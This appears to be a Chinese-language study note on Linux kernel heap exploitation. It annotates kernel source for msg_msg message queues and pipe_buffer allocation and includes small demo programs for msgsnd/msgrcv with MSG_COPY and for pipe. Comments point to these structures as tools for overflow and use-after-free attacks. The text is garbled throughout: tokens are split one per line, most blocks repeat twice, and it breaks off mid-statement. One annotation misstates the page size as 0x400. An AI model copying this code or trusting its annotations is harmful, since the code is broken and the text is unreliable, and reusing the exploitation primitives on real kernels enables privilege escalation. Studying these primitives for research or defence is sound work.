(msgrcv(msg_queue_id, msg_buf, msg_size, msgtyp, msg_flag) <
0
)
{
perror(
"msgrcv"
);
exit(
-
1
);
}
return
;
}
char queue_recv_buf[
0x2000
];
m_ts_size
=
0x400
-
0x30
;
/
/
任意指定
get_msg(queue_id, queue_recv_buf, m_ts_size,
0
, IPC_NOWAIT | MSG_COPY);
/
/
v5.
11
/
ipc
/
msg.c do_msgrcv函数中
if
((bufsz < msg
-
>m_ts) && !(msgflg & MSG_NOERROR)) {
msg
=
ERR_PTR(
-
E2BIG);
goto out_unlock0;
}
/
/
v5.
11
/
ipc
/
msg.c do_msgrcv函数中
if
((bufsz < msg
-
>m_ts) && !(msgflg & MSG_NOERROR)) {
msg
=
ERR_PTR(
-
E2BIG);
goto out_unlock0;
}
/
/
其中IPC_RMID这个cmd命令代表释放掉该消息队列的所有消息,各种内存结构体等
if
(msgctl(queue_id,IPC_RMID,NULL)
=
=
-
1
)
{
perror(
"msgctl"
);
exit(
-
1
);
}
/
/
其中IPC_RMID这个cmd命令代表释放掉该消息队列的所有消息,各种内存结构体等
if
(msgctl(queue_id,IPC_RMID,NULL)
=
=
-
1
)
{
perror(
"msgctl"
);
exit(
-
1
);
}
typedef struct
{
long
mtype;
char mtext[
1
];
}msgp;
int32_t make_queue(key_t key,
int
msg_flag)
{
int32_t result;
if
((result
=
msgget(key, msg_flag))
=
=
-
1
)
{
perror(
"msgget failure"
);
exit(
-
1
);
}
return
result;
}
void get_msg(
int
msg_queue_id, void
*
msg_buf, size_t msg_size,
long
msgtyp,
int
msg_flag)
{
if
(msgrcv(msg_queue_id, msg_buf, msg_size, msgtyp, msg_flag) <
0
)
{
perror(
"msgrcv"
);
exit(
-
1
);
}
return
;
}
void send_msg(
int
msg_queue_id, void
*
msg_buf, size_t msg_size,
int
msg_flag)
{
if
(msgsnd(msg_queue_id, msg_buf, msg_size, msg_flag)
=
=
-
1
)
{
perror(
"msgsend failure"
);
exit(
-
1
);
}
return
;
}
int
main()
{
int
queue_id, m_ts_size;
char queue_recv_buf[
0x2000
];
char queue_send_buf[
0x2000
];
m_ts_size
=
0x400
-
0x30
;
msgp
*
message
=
(msgp
*
)queue_send_buf;
message
-
>mtype
=
0
;
memset(message
-
>mtext,
'\xaa'
, m_ts_size);
memset(queue_recv_buf,
'\xbb'
, sizeof(queue_recv_buf));
queue_id
=
make_queue(IPC_PRIVATE,
0666
| IPC_CREAT);
send_msg(queue_id, message, m_ts_size,
0
);
get_msg(queue_id, queue_recv_buf, m_ts_size,
0
, IPC_NOWAIT | MSG_COPY);
return
0
;
}
typedef struct
{
long
mtype;
char mtext[
1
];
}msgp;
int32_t make_queue(key_t key,
int
msg_flag)
{
int32_t result;
if
((result
=
msgget(key, msg_flag))
=
=
-
1
)
{
perror(
"msgget failure"
);
exit(
-
1
);
}
return
result;
}
void get_msg(
int
msg_queue_id, void
*
msg_buf, size_t msg_size,
long
msgtyp,
int
msg_flag)
{
if
(msgrcv(msg_queue_id, msg_buf, msg_size, msgtyp, msg_flag) <
0
)
{
perror(
"msgrcv"
);
exit(
-
1
);
}
return
;
}
void send_msg(
int
msg_queue_id, void
*
msg_buf, size_t msg_size,
int
msg_flag)
{
if
(msgsnd(msg_queue_id, msg_buf, msg_size, msg_flag)
=
=
-
1
)
{
perror(
"msgsend failure"
);
exit(
-
1
);
}
return
;
}
int
main()
{
int
queue_id, m_ts_size;
char queue_recv_buf[
0x2000
];
char queue_send_buf[
0x2000
];
m_ts_size
=
0x400
-
0x30
;
msgp
*
message
=
(msgp
*
)queue_send_buf;
message
-
>mtype
=
0
;
memset(message
-
>mtext,
'\xaa'
, m_ts_size);
memset(queue_recv_buf,
'\xbb'
, sizeof(queue_recv_buf));
queue_id
=
make_queue(IPC_PRIVATE,
0666
| IPC_CREAT);
send_msg(queue_id, message, m_ts_size,
0
);
get_msg(queue_id, queue_recv_buf, m_ts_size,
0
, IPC_NOWAIT | MSG_COPY);
return
0
;
}
msgget(key,msg_flag)
-
>ksys_msgget()
-
>ipcget()
-
>ipcget_new()
-
>newque()
msgget(key,msg_flag)
-
>ksys_msgget()
-
>ipcget()
-
>ipcget_new()
-
>newque()
/
/
v5.
11
/
ipc
/
msg.c
static
int
newque(struct ipc_namespace
*
ns, struct ipc_params
*
params)
{
struct msg_queue
*
msq;
int
retval;
key_t key
=
params
-
>key;
int
msgflg
=
params
-
>flg;
/
/
这个才是实际申请的堆块内存
msq
=
kvmalloc(sizeof(
*
msq), GFP_KERNEL);
if
(unlikely(!msq))
return
-
ENOMEM;
msq
-
>q_perm.mode
=
msgflg & S_IRWXUGO;
msq
-
>q_perm.key
=
key;
msq
-
>q_perm.security
=
NULL;
/
/
进行相关注册
retval
=
security_msg_queue_alloc(&msq
-
>q_perm);
if
(retval) {
kvfree(msq);
return
retval;
}
/
/
初始化
msq
-
>q_stime
=
msq
-
>q_rtime
=
0
;
msq
-
>q_ctime
=
ktime_get_real_seconds();
msq
-
>q_cbytes
=
msq
-
>q_qnum
=
0
;
msq
-
>q_qbytes
=
ns
-
>msg_ctlmnb;
msq
-
>q_lspid
=
msq
-
>q_lrpid
=
NULL;
INIT_LIST_HEAD(&msq
-
>q_messages);
INIT_LIST_HEAD(&msq
-
>q_receivers);
INIT_LIST_HEAD(&msq
-
>q_senders);
/
/
下面一堆看不懂在干啥
/
*
ipc_addid() locks msq upon success.
*
/
retval
=
ipc_addid(&msg_ids(ns), &msq
-
>q_perm, ns
-
>msg_ctlmni);
if
(retval <
0
) {
ipc_rcu_putref(&msq
-
>q_perm, msg_rcu_free);
return
retval;
}
ipc_unlock_object(&msq
-
>q_perm);
rcu_read_unlock();
return
msq
-
>q_perm.
id
;
}
/
/
v5.
11
/
ipc
/
msg.c
static
int
newque(struct ipc_namespace
*
ns, struct ipc_params
*
params)
{
struct msg_queue
*
msq;
int
retval;
key_t key
=
params
-
>key;
int
msgflg
=
params
-
>flg;
/
/
这个才是实际申请的堆块内存
msq
=
kvmalloc(sizeof(
*
msq), GFP_KERNEL);
if
(unlikely(!msq))
return
-
ENOMEM;
msq
-
>q_perm.mode
=
msgflg & S_IRWXUGO;
msq
-
>q_perm.key
=
key;
msq
-
>q_perm.security
=
NULL;
/
/
进行相关注册
retval
=
security_msg_queue_alloc(&msq
-
>q_perm);
if
(retval) {
kvfree(msq);
return
retval;
}
/
/
初始化
msq
-
>q_stime
=
msq
-
>q_rtime
=
0
;
msq
-
>q_ctime
=
ktime_get_real_seconds();
msq
-
>q_cbytes
=
msq
-
>q_qnum
=
0
;
msq
-
>q_qbytes
=
ns
-
>msg_ctlmnb;
msq
-
>q_lspid
=
msq
-
>q_lrpid
=
NULL;
INIT_LIST_HEAD(&msq
-
>q_messages);
INIT_LIST_HEAD(&msq
-
>q_receivers);
INIT_LIST_HEAD(&msq
-
>q_senders);
/
/
下面一堆看不懂在干啥
/
*
ipc_addid() locks msq upon success.
*
/
retval
=
ipc_addid(&msg_ids(ns), &msq
-
>q_perm, ns
-
>msg_ctlmni);
if
(retval <
0
) {
ipc_rcu_putref(&msq
-
>q_perm, msg_rcu_free);
return
retval;
}
ipc_unlock_object(&msq
-
>q_perm);
rcu_read_unlock();
return
msq
-
>q_perm.
id
;
}
/
/
v5.
11
/
ipc
/
msg.c
struct msg_queue {
/
/
这些为一些相关信息
struct kern_ipc_perm q_perm;
time64_t q_stime;
/
*
last msgsnd time
*
/
time64_t q_rtime;
/
*
last msgrcv time
*
/
time64_t q_ctime;
/
*
last change time
*
/
unsigned
long
q_cbytes;
/
*
current number of bytes on queue
*
/
unsigned
long
q_qnum;
/
*
number of messages
in
queue
*
/
unsigned
long
q_qbytes;
/
*
max
number of bytes on queue
*
/
struct pid
*
q_lspid;
/
*
pid of last msgsnd
*
/
struct pid
*
q_lrpid;
/
*
last receive pid
*
/
/
/
存放msg_msg相关指针
next
、prev,比较重要,通常拿来溢出制造UAF
/
/
和该消息队列里的所有消息组成双向循环链表
struct list_head q_messages;
struct list_head q_receivers;
struct list_head q_senders;
} __randomize_layout;
/
/
v5.
11
/
ipc
/
msg.c
struct msg_queue {
/
/
这些为一些相关信息
struct kern_ipc_perm q_perm;
time64_t q_stime;
/
*
last msgsnd time
*
/
time64_t q_rtime;
/
*
last msgrcv time
*
/
time64_t q_ctime;
/
*
last change time
*
/
unsigned
long
q_cbytes;
/
*
current number of bytes on queue
*
/
unsigned
long
q_qnum;
/
*
number of messages
in
queue
*
/
unsigned
long
q_qbytes;
/
*
max
number of bytes on queue
*
/
struct pid
*
q_lspid;
/
*
pid of last msgsnd
*
/
struct pid
*
q_lrpid;
/
*
last receive pid
*
/
/
/
存放msg_msg相关指针
next
、prev,比较重要,通常拿来溢出制造UAF
/
/
和该消息队列里的所有消息组成双向循环链表
struct list_head q_messages;
struct list_head q_receivers;
struct list_head q_senders;
} __randomize_layout;
msgsnd(msg_queue_id, msg_buf, msg_size, msg_flag)
-
>do_msgsnd()
-
>load_msg()
-
>alloc_msg()
msgsnd(msg_queue_id, msg_buf, msg_size, msg_flag)
-
>do_msgsnd()
-
>load_msg()
-
>alloc_msg()
/
/
v5.
11
/
ipc
/
msgutil.c
static struct msg_msg
*
alloc_msg(size_t
len
)
{
struct msg_msg
*
msg;
struct msg_msgseg
*
*
pseg;
size_t alen;
/
/
最大发送DATALEN_MSG长度的消息
/
/
#define DATALEN_MSG ((size_t)PAGE_SIZE-sizeof(struct msg_msg))
/
/
这里的PAGE_SIZE为
0x400
,即最多kmalloc
-
alen
=
min
(
len
, DATALEN_MSG);
/
/
使用正常
msg
=
kmalloc(sizeof(
*
msg)
+
alen, GFP_KERNEL_ACCOUNT);
if
(msg
=
=
NULL)
return
NULL;
/
/
如果传入消息长度超过
0x400
-
0x30
,就再进行申请msg_msgseg。
/
/
使用kmalloc申请,标志为GFP_KERNEL_ACCOUNT。
/
/
最大也为
0x400
,也属于kmalloc
-
1024
/
/
还有再长的消息,就再申请msg_msgseg
msg
-
>
next
=
NULL;
msg
-
>security
=
NULL;
len
-
=
alen;
pseg
=
&msg
-
>
next
;
while
(
len
>
0
) {
struct msg_msgseg
*
seg;
/
/
不知道干啥的
cond_resched();
alen
=
min
(
len
, DATALEN_SEG);
seg
=
kmalloc(sizeof(
*
seg)
+
alen, GFP_KERNEL_ACCOUNT);
/
/
申请完之后,将msg_msgseg放到msg
-
>
next
这个单向链表上
if
(seg
=
=
NULL)
goto out_err;
*
pseg
=
seg;
seg
-
>
next
=
NULL;
pseg
=
&seg
-
>
next
;
len
-
=
alen;
}
return
msg;
out_err:
free_msg(msg);
return
NULL;
}
/
/
v5.
11
/
ipc
/
msgutil.c
static struct msg_msg
*
alloc_msg(size_t
len
)
{
struct msg_msg
*
msg;
struct msg_msgseg
*
*
pseg;
size_t alen;
/
/
最大发送DATALEN_MSG长度的消息
/
/
#define DATALEN_MSG ((size_t)PAGE_SIZE-sizeof(struct msg_msg))
/
/
这里的PAGE_SIZE为
0x400
,即最多kmalloc
-
alen
=
min
(
len
, DATALEN_MSG);
/
/
使用正常
msg
=
kmalloc(sizeof(
*
msg)
+
alen, GFP_KERNEL_ACCOUNT);
if
(msg
=
=
NULL)
return
NULL;
/
/
如果传入消息长度超过
0x400
-
0x30
,就再进行申请msg_msgseg。
/
/
使用kmalloc申请,标志为GFP_KERNEL_ACCOUNT。
/
/
最大也为
0x400
,也属于kmalloc
-
1024
/
/
还有再长的消息,就再申请msg_msgseg
msg
-
>
next
=
NULL;
msg
-
>security
=
NULL;
len
-
=
alen;
pseg
=
&msg
-
>
next
;
while
(
len
>
0
) {
struct msg_msgseg
*
seg;
/
/
不知道干啥的
cond_resched();
alen
=
min
(
len
, DATALEN_SEG);
seg
=
kmalloc(sizeof(
*
seg)
+
alen, GFP_KERNEL_ACCOUNT);
/
/
申请完之后,将msg_msgseg放到msg
-
>
next
这个单向链表上
if
(seg
=
=
NULL)
goto out_err;
*
pseg
=
seg;
seg
-
>
next
=
NULL;
pseg
=
&seg
-
>
next
;
len
-
=
alen;
}
return
msg;
out_err:
free_msg(msg);
return
NULL;
}
/
/
v5.
11
/
include
/
linux
/
msg.h
struct msg_msg {
struct list_head m_list;
/
/
与msg_queue或者其他的msg_msg组成双向循环链表
long
m_type;
size_t m_ts;
/
*
message text size
*
/
struct msg_msgseg
*
next
;
/
/
单向链表,指向该条信息后面的msg_msgseg
void
*
security;
/
*
the actual message follows immediately
*
/
};
/
/
v5.
11
/
include
/
linux
/
msg.h
struct msg_msg {
struct list_head m_list;
/
/
与msg_queue或者其他的msg_msg组成双向循环链表
long
m_type;
size_t m_ts;
/
*
message text size
*
/
struct msg_msgseg
*
next
;
/
/
单向链表,指向该条信息后面的msg_msgseg
void
*
security;
/
*
the actual message follows immediately
*
/
};
/
/
v5.
11
/
ipc
/
msgutil.c
struct msg_msgseg {
struct msg_msgseg
*
next
;
/
*
the
next
part of the message follows immediately
*
/
};
/
/
v5.
11
/
ipc
/
msgutil.c
struct msg_msgseg {
struct msg_msgseg
*
next
;
/
*
the
next
part of the message follows immediately
*
/
};
struct msg_msg
*
load_msg(const void __user
*
src, size_t
len
)
{
struct msg_msg
*
msg;
struct msg_msgseg
*
seg;
int
err
=
-
EFAULT;
size_t alen;
msg
=
alloc_msg(
len
);
if
(msg
=
=
NULL)
return
ERR_PTR(
-
ENOMEM);
/
/
先复制进msg_msg中存放消息的部分
alen
=
min
(
len
, DATALEN_MSG);
if
(copy_from_user(msg
+
1
, src, alen))
goto out_err;
/
/
遍历msg_msg下的msg_msgseg,逐个存放数据进去
for
(seg
=
msg
-
>
next
; seg !
=
NULL; seg
=
seg
-
>
next
) {
len
-
=
alen;
src
=
(char __user
*
)src
+
alen;
alen
=
min
(
len
, DATALEN_SEG);
if
(copy_from_user(seg
+
1
, src, alen))
goto out_err;
}
err
=
security_msg_msg_alloc(msg);
if
(err)
goto out_err;
return
msg;
out_err:
free_msg(msg);
return
ERR_PTR(err);
}
struct msg_msg
*
load_msg(const void __user
*
src, size_t
len
)
{
struct msg_msg
*
msg;
struct msg_msgseg
*
seg;
int
err
=
-
EFAULT;
size_t alen;
msg
=
alloc_msg(
len
);
if
(msg
=
=
NULL)
return
ERR_PTR(
-
ENOMEM);
/
/
先复制进msg_msg中存放消息的部分
alen
=
min
(
len
, DATALEN_MSG);
if
(copy_from_user(msg
+
1
, src, alen))
goto out_err;
/
/
遍历msg_msg下的msg_msgseg,逐个存放数据进去
for
(seg
=
msg
-
>
next
; seg !
=
NULL; seg
=
seg
-
>
next
) {
len
-
=
alen;
src
=
(char __user
*
)src
+
alen;
alen
=
min
(
len
, DATALEN_SEG);
if
(copy_from_user(seg
+
1
, src, alen))
goto out_err;
}
err
=
security_msg_msg_alloc(msg);
if
(err)
goto out_err;
return
msg;
out_err:
free_msg(msg);
return
ERR_PTR(err);
}
msgrcv(msg_queue_id, msg_buf, msg_size, msgtyp, msg_flag)
-
>SYS_msgrcv()
-
>ksys_msgrcv()
-
>do_msgrcv()
-
>do_msg_fill()
-
>store_msg()
msgrcv(msg_queue_id, msg_buf, msg_size, msgtyp, msg_flag)
-
>SYS_msgrcv()
-
>ksys_msgrcv()
-
>do_msgrcv()
-
>do_msg_fill()
-
>store_msg()
static
long
do_msgrcv(
int
msqid, void __user
*
buf, size_t bufsz,
long
msgtyp,
int
msgflg,
long
(
*
msg_handler)(void __user
*
, struct msg_msg
*
, size_t))
{
int
mode;
struct msg_queue
*
msq;
struct ipc_namespace
*
ns;
struct msg_msg
*
msg,
*
copy
=
NULL;
DEFINE_WAKE_Q(wake_q);
/
/
....
if
(msqid <
0
|| (
long
) bufsz <
0
)
return
-
EINVAL;
/
/
设置了MSG_COPY标志位就会准备一个msg_msg的副本copy,通常用来防止unlink
if
(msgflg & MSG_COPY) {
/
/
从这里可以看出,同样也需要设置IPC_NOWAIT标志位才不会出错
if
((msgflg & MSG_EXCEPT) || !(msgflg & IPC_NOWAIT))
return
-
EINVAL;
/
/
这个prepare_copy()函数内部调用了load_msg()函数来创建一个新的msg_msg
/
msg_msgseg
/
/
传入的size参数为bufsz,就用户空间实际需要消息的长度,那么申请的堆块长度就可变了
/
/
不一定是这条消息的长度,而是由我们直接控制,虽然最后也会释放掉
copy
=
prepare_copy(buf, min_t(size_t, bufsz, ns
-
>msg_ctlmax));
/
*
static inline struct msg_msg
*
prepare_copy(void __user
*
buf, size_t bufsz)
{
struct msg_msg
*
copy;
copy
=
load_msg(buf, bufsz);
if
(!IS_ERR(copy))
copy
-
>m_ts
=
bufsz;
return
copy;
}
*
/
if
(IS_ERR(copy))
return
PTR_ERR(copy);
}
/
/
这样就不会将msg_msg从msg_queue消息队列中进行Unlink摘除
/
/
只是释放堆块,在后续的代码中有显示
/
/
......
/
/
开始从msg_queue中寻找合适的msg_msg
for
(;;) {
/
/
.....
msg
=
find_msg(msq, &msgtyp, mode);
if
(!IS_ERR(msg)) {
/
*
*
Found a suitable message.
*
Unlink it
from
the queue.
*
/
/
/
最好设置MSG_NOERROR标志位,这样请求获取消息长度小于m_ts程序也不会退出了
if
((bufsz < msg
-
>m_ts) && !(msgflg & MSG_NOERROR)) {
msg
=
ERR_PTR(
-
E2BIG);
goto out_unlock0;
}
/
*
*
If we are copying, then do
not
unlink message
and
do
*
not
update queue parameters.
*
/
/
/
设置了MSG_COPY标志位就会将msg数据复制给copy,然后将copy赋给msg
if
(msgflg & MSG_COPY) {
/
/
这个copy_msg()函数就是之前提到的在汇编层面就很奇怪
msg
=
copy_msg(msg, copy);
goto out_unlock0;
}
/
/
下面是将msg_msg从和msg_queue组成的双向循环链表中unlink出来的部分
list_del(&msg
-
>m_list);
msq
-
>q_qnum
-
-
;
msq
-
>q_rtime
=
ktime_get_real_seconds();
ipc_update_pid(&msq
-
>q_lrpid, task_tgid(current));
msq
-
>q_cbytes
-
=
msg
-
>m_ts;
atomic_sub(msg
-
>m_ts, &ns
-
>msg_bytes);
atomic_dec(&ns
-
>msg_hdrs);
ss_wakeup(msq, &wake_q, false);
goto out_unlock0;
}
/
/
....
}
out_unlock0:
ipc_unlock_object(&msq
-
>q_perm);
wake_up_q(&wake_q);
out_unlock1:
rcu_read_unlock();
/
/
如果存在copy副本,那么就free掉copy副本,然后返回,而不会free掉原本的msg堆块
if
(IS_ERR(msg)) {
free_copy(copy);
return
PTR_ERR(msg);
}
/
/
这个msg_handler函数指针即为传入的do_msg_fill()函数,从里面进行相关的数据复制
bufsz
=
msg_handler(buf, msg, bufsz);
/
/
最后在这里进行相关堆块的释放
free_msg(msg);
return
bufsz;
}
static
long
do_msgrcv(
int
msqid, void __user
*
buf, size_t bufsz,
long
msgtyp,
int
msgflg,
long
(
*
msg_handler)(void __user
*
, struct msg_msg
*
, size_t))
{
int
mode;
struct msg_queue
*
msq;
struct ipc_namespace
*
ns;
struct msg_msg
*
msg,
*
copy
=
NULL;
DEFINE_WAKE_Q(wake_q);
/
/
....
if
(msqid <
0
|| (
long
) bufsz <
0
)
return
-
EINVAL;
/
/
设置了MSG_COPY标志位就会准备一个msg_msg的副本copy,通常用来防止unlink
if
(msgflg & MSG_COPY) {
/
/
从这里可以看出,同样也需要设置IPC_NOWAIT标志位才不会出错
if
((msgflg & MSG_EXCEPT) || !(msgflg & IPC_NOWAIT))
return
-
EINVAL;
/
/
这个prepare_copy()函数内部调用了load_msg()函数来创建一个新的msg_msg
/
msg_msgseg
/
/
传入的size参数为bufsz,就用户空间实际需要消息的长度,那么申请的堆块长度就可变了
/
/
不一定是这条消息的长度,而是由我们直接控制,虽然最后也会释放掉
copy
=
prepare_copy(buf, min_t(size_t, bufsz, ns
-
>msg_ctlmax));
/
*
static inline struct msg_msg
*
prepare_copy(void __user
*
buf, size_t bufsz)
{
struct msg_msg
*
copy;
copy
=
load_msg(buf, bufsz);
if
(!IS_ERR(copy))
copy
-
>m_ts
=
bufsz;
return
copy;
}
*
/
if
(IS_ERR(copy))
return
PTR_ERR(copy);
}
/
/
这样就不会将msg_msg从msg_queue消息队列中进行Unlink摘除
/
/
只是释放堆块,在后续的代码中有显示
/
/
......
/
/
开始从msg_queue中寻找合适的msg_msg
for
(;;) {
/
/
.....
msg
=
find_msg(msq, &msgtyp, mode);
if
(!IS_ERR(msg)) {
/
*
*
Found a suitable message.
*
Unlink it
from
the queue.
*
/
/
/
最好设置MSG_NOERROR标志位,这样请求获取消息长度小于m_ts程序也不会退出了
if
((bufsz < msg
-
>m_ts) && !(msgflg & MSG_NOERROR)) {
msg
=
ERR_PTR(
-
E2BIG);
goto out_unlock0;
}
/
*
*
If we are copying, then do
not
unlink message
and
do
*
not
update queue parameters.
*
/
/
/
设置了MSG_COPY标志位就会将msg数据复制给copy,然后将copy赋给msg
if
(msgflg & MSG_COPY) {
/
/
这个copy_msg()函数就是之前提到的在汇编层面就很奇怪
msg
=
copy_msg(msg, copy);
goto out_unlock0;
}
/
/
下面是将msg_msg从和msg_queue组成的双向循环链表中unlink出来的部分
list_del(&msg
-
>m_list);
msq
-
>q_qnum
-
-
;
msq
-
>q_rtime
=
ktime_get_real_seconds();
ipc_update_pid(&msq
-
>q_lrpid, task_tgid(current));
msq
-
>q_cbytes
-
=
msg
-
>m_ts;
atomic_sub(msg
-
>m_ts, &ns
-
>msg_bytes);
atomic_dec(&ns
-
>msg_hdrs);
ss_wakeup(msq, &wake_q, false);
goto out_unlock0;
}
/
/
....
}
out_unlock0:
ipc_unlock_object(&msq
-
>q_perm);
wake_up_q(&wake_q);
out_unlock1:
rcu_read_unlock();
/
/
如果存在copy副本,那么就free掉copy副本,然后返回,而不会free掉原本的msg堆块
if
(IS_ERR(msg)) {
free_copy(copy);
return
PTR_ERR(msg);
}
/
/
这个msg_handler函数指针即为传入的do_msg_fill()函数,从里面进行相关的数据复制
bufsz
=
msg_handler(buf, msg, bufsz);
/
/
最后在这里进行相关堆块的释放
free_msg(msg);
return
bufsz;
}
/
/
v5.
11
do_msgrcv()函数中的
/
*
If we are copying, then do
not
unlink message
and
do
*
not
update queue parameters.
*
/
if
(msgflg & MSG_COPY) {
msg
=
copy_msg(msg, copy);
goto out_unlock0;
}
/
/
下面是unlink的部分,如果msg_msg结构被修改了可能会出错的
list_del(&msg
-
>m_list);
msq
-
>q_qnum
-
-
;
msq
-
>q_rtime
=
ktime_get_real_seconds();
ipc_update_pid(&msq
-
>q_lrpid, task_tgid(current));
msq
-
>q_cbytes
-
=
msg
-
>m_ts;
atomic_sub(msg
-
>m_ts, &ns
-
>msg_bytes);
atomic_dec(&ns
-
>msg_hdrs);
ss_wakeup(msq, &wake_q, false);
goto out_unlock0;
/
/
v5.
11
do_msgrcv()函数中的
/
*
If we are copying, then do
not
unlink message
and
do
*
not
update queue parameters.
*
/
if
(msgflg & MSG_COPY) {
msg
=
copy_msg(msg, copy);
goto out_unlock0;
}
/
/
下面是unlink的部分,如果msg_msg结构被修改了可能会出错的
list_del(&msg
-
>m_list);
msq
-
>q_qnum
-
-
;
msq
-
>q_rtime
=
ktime_get_real_seconds();
ipc_update_pid(&msq
-
>q_lrpid, task_tgid(current));
msq
-
>q_cbytes
-
=
msg
-
>m_ts;
atomic_sub(msg
-
>m_ts, &ns
-
>msg_bytes);
atomic_dec(&ns
-
>msg_hdrs);
ss_wakeup(msq, &wake_q, false);
goto out_unlock0;
/
/
v5.
11
/
ipc
/
msgutil.c
#ifdef CONFIG_CHECKPOINT_RESTORE
struct msg_msg
*
copy_msg(struct msg_msg
*
src, struct msg_msg
*
dst)
{
/
/
正常的一些数据复制
}
#else
/
/
如果没有设置CONFIG_CHECKPOINT_RESTORE
=
y则会出错
struct msg_msg
*
copy_msg(struct msg_msg
*
src, struct msg_msg
*
dst)
{
return
ERR_PTR(
-
ENOSYS);
}
#endif
/
/
v5.
11
/
ipc
/
msgutil.c
#ifdef CONFIG_CHECKPOINT_RESTORE
struct msg_msg
*
copy_msg(struct msg_msg
*
src, struct msg_msg
*
dst)
{
/
/
正常的一些数据复制
}
#else
/
/
如果没有设置CONFIG_CHECKPOINT_RESTORE
=
y则会出错
struct msg_msg
*
copy_msg(struct msg_msg
*
src, struct msg_msg
*
dst)
{
return
ERR_PTR(
-
ENOSYS);
}
#endif
bufsz
=
msg_handler(buf, msg, bufsz);
free_msg(msg);
bufsz
=
msg_handler(buf, msg, bufsz);
free_msg(msg);
/
/
v4.
9
-
-
-
-
ipc
/
msgutil.c
#define DATALEN_MSG ((size_t)PAGE_SIZE-sizeof(struct msg_msg))
#define DATALEN_SEG ((size_t)PAGE_SIZE-sizeof(struct msg_msgseg))
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
int
store_msg(void __user
*
dest, struct msg_msg
*
msg, size_t
len
)
{
size_t alen;
struct msg_msgseg
*
seg;
alen
=
min
(
len
, DATALEN_MSG);
if
(copy_to_user(dest, msg
+
1
, alen))
return
-
1
;
for
(seg
=
msg
-
>
next
; seg !
=
NULL; seg
=
seg
-
>
next
) {
len
-
=
alen;
dest
=
(char __user
*
)dest
+
alen;
alen
=
min
(
len
, DATALEN_SEG);
if
(copy_to_user(dest, seg
+
1
, alen))
return
-
1
;
}
return
0
;
}
/
/
v4.
9
-
-
-
-
ipc
/
msgutil.c
#define DATALEN_MSG ((size_t)PAGE_SIZE-sizeof(struct msg_msg))
#define DATALEN_SEG ((size_t)PAGE_SIZE-sizeof(struct msg_msgseg))
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
int
store_msg(void __user
*
dest, struct msg_msg
*
msg, size_t
len
)
{
size_t alen;
struct msg_msgseg
*
seg;
alen
=
min
(
len
, DATALEN_MSG);
if
(copy_to_user(dest, msg
+
1
, alen))
return
-
1
;
for
(seg
=
msg
-
>
next
; seg !
=
NULL; seg
=
seg
-
>
next
) {
len
-
=
alen;
dest
=
(char __user
*
)dest
+
alen;
alen
=
min
(
len
, DATALEN_SEG);
if
(copy_to_user(dest, seg
+
1
, alen))
return
-
1
;
}
return
0
;
}
#include <unistd.h>
/
/
使用pipe或者pipe2
int
pipe_fd[
2
];
pipe(pipe_fd);
/
/
默认阻塞状态
/
/
pipe2(pipe_fd,flag);
#include <unistd.h>
/
/
使用pipe或者pipe2
int
pipe_fd[
2
];
pipe(pipe_fd);
/
/
默认阻塞状态
/
/
pipe2(pipe_fd,flag);
/
/
v5.
9
/
fs
/
pipe.c
const struct file_operations pipefifo_fops
=
{
.
open
=
fifo_open,
.llseek
=
no_llseek,
.read_iter
=
pipe_read,
.write_iter
=
pipe_write,
.poll
=
pipe_poll,
.unlocked_ioctl
=
pipe_ioctl,
.release
=
pipe_release,
.fasync
=
pipe_fasync,
};
/
/
v5.
9
/
fs
/
pipe.c
const struct file_operations pipefifo_fops
=
{
.
open
=
fifo_open,
.llseek
=
no_llseek,
.read_iter
=
pipe_read,
.write_iter
=
pipe_write,
.poll
=
pipe_poll,
.unlocked_ioctl
=
pipe_ioctl,
.release
=
pipe_release,
.fasync
=
pipe_fasync,
};
int
pipe_fd[
2
];
pipe(pipe_fd);
printf(
"pipe_fd[0]:%d\n"
,pipe_fd[
0
]);
printf(
"pipe_fd[1]:%d\n"
,pipe_fd[
1
]);
int
pipe_fd[
2
];
pipe(pipe_fd);
printf(
"pipe_fd[0]:%d\n"
,pipe_fd[
0
]);
printf(
"pipe_fd[1]:%d\n"
,pipe_fd[
1
]);
char buf[
0x8
]
=
{
0
};
char
*
msg
=
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
;
write(pipe_fd[
1
],msg,
0x8
);
read(pipe_fd[
0
],buf,
0x8
);
char buf[
0x8
]
=
{
0
};
char
*
msg
=
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
;
write(pipe_fd[
1
],msg,
0x8
);
read(pipe_fd[
0
],buf,
0x8
);
close(pipe_fd[
0
]);
close(pipe_fd[
1
]);
close(pipe_fd[
0
]);
close(pipe_fd[
1
]);
SYSCALL_DEFINE2(pipe2,
int
__user
*
, fildes,
int
, flags)
{
return
do_pipe2(fildes, flags);
}
SYSCALL_DEFINE1(pipe,
int
__user
*
, fildes)
/
*
pipe() 系统调用
*
/
{
return
do_pipe2(fildes,
0
);
}
SYSCALL_DEFINE2(pipe2,
int
__user
*
, fildes,
int
, flags)
{
return
do_pipe2(fildes, flags);
}
SYSCALL_DEFINE1(pipe,
int
__user
*
, fildes)
/
*
pipe() 系统调用
*
/
{
return
do_pipe2(fildes,
0
);
}
do_pipe2()
-
>__do_pipe_flags()
-
>create_pipe_files()
-
>get_pipe_inode()
-
>alloc_pipe_info()
do_pipe2()
-
>__do_pipe_flags()
-
>create_pipe_files()
-
>get_pipe_inode()
-
>alloc_pipe_info()
/
/
v5.
9
/
fs
/
pipe.c
struct pipe_inode_info
*
alloc_pipe_info(void)
{
struct pipe_inode_info
*
pipe;
unsigned
long
pipe_bufs
=
PIPE_DEF_BUFFERS;
/
/
#define PIPE_DEF_BUFFERS 16
/
/
.....
/
/
pipe_inode_info管理结构,大小为
0xa0
,属于kmalloc
-
192
pipe
=
kzalloc(sizeof(struct pipe_inode_info), GFP_KERNEL_ACCOUNT);
if
(pipe
=
=
NULL)
goto out_free_uid;
/
/
.....
/
/
相关的消息结构为pipe_buffer数组,总共
16
*
0x28
=
0x280
,直接从kmalloc
-
1024
中拿取堆块
pipe
-
>bufs
=
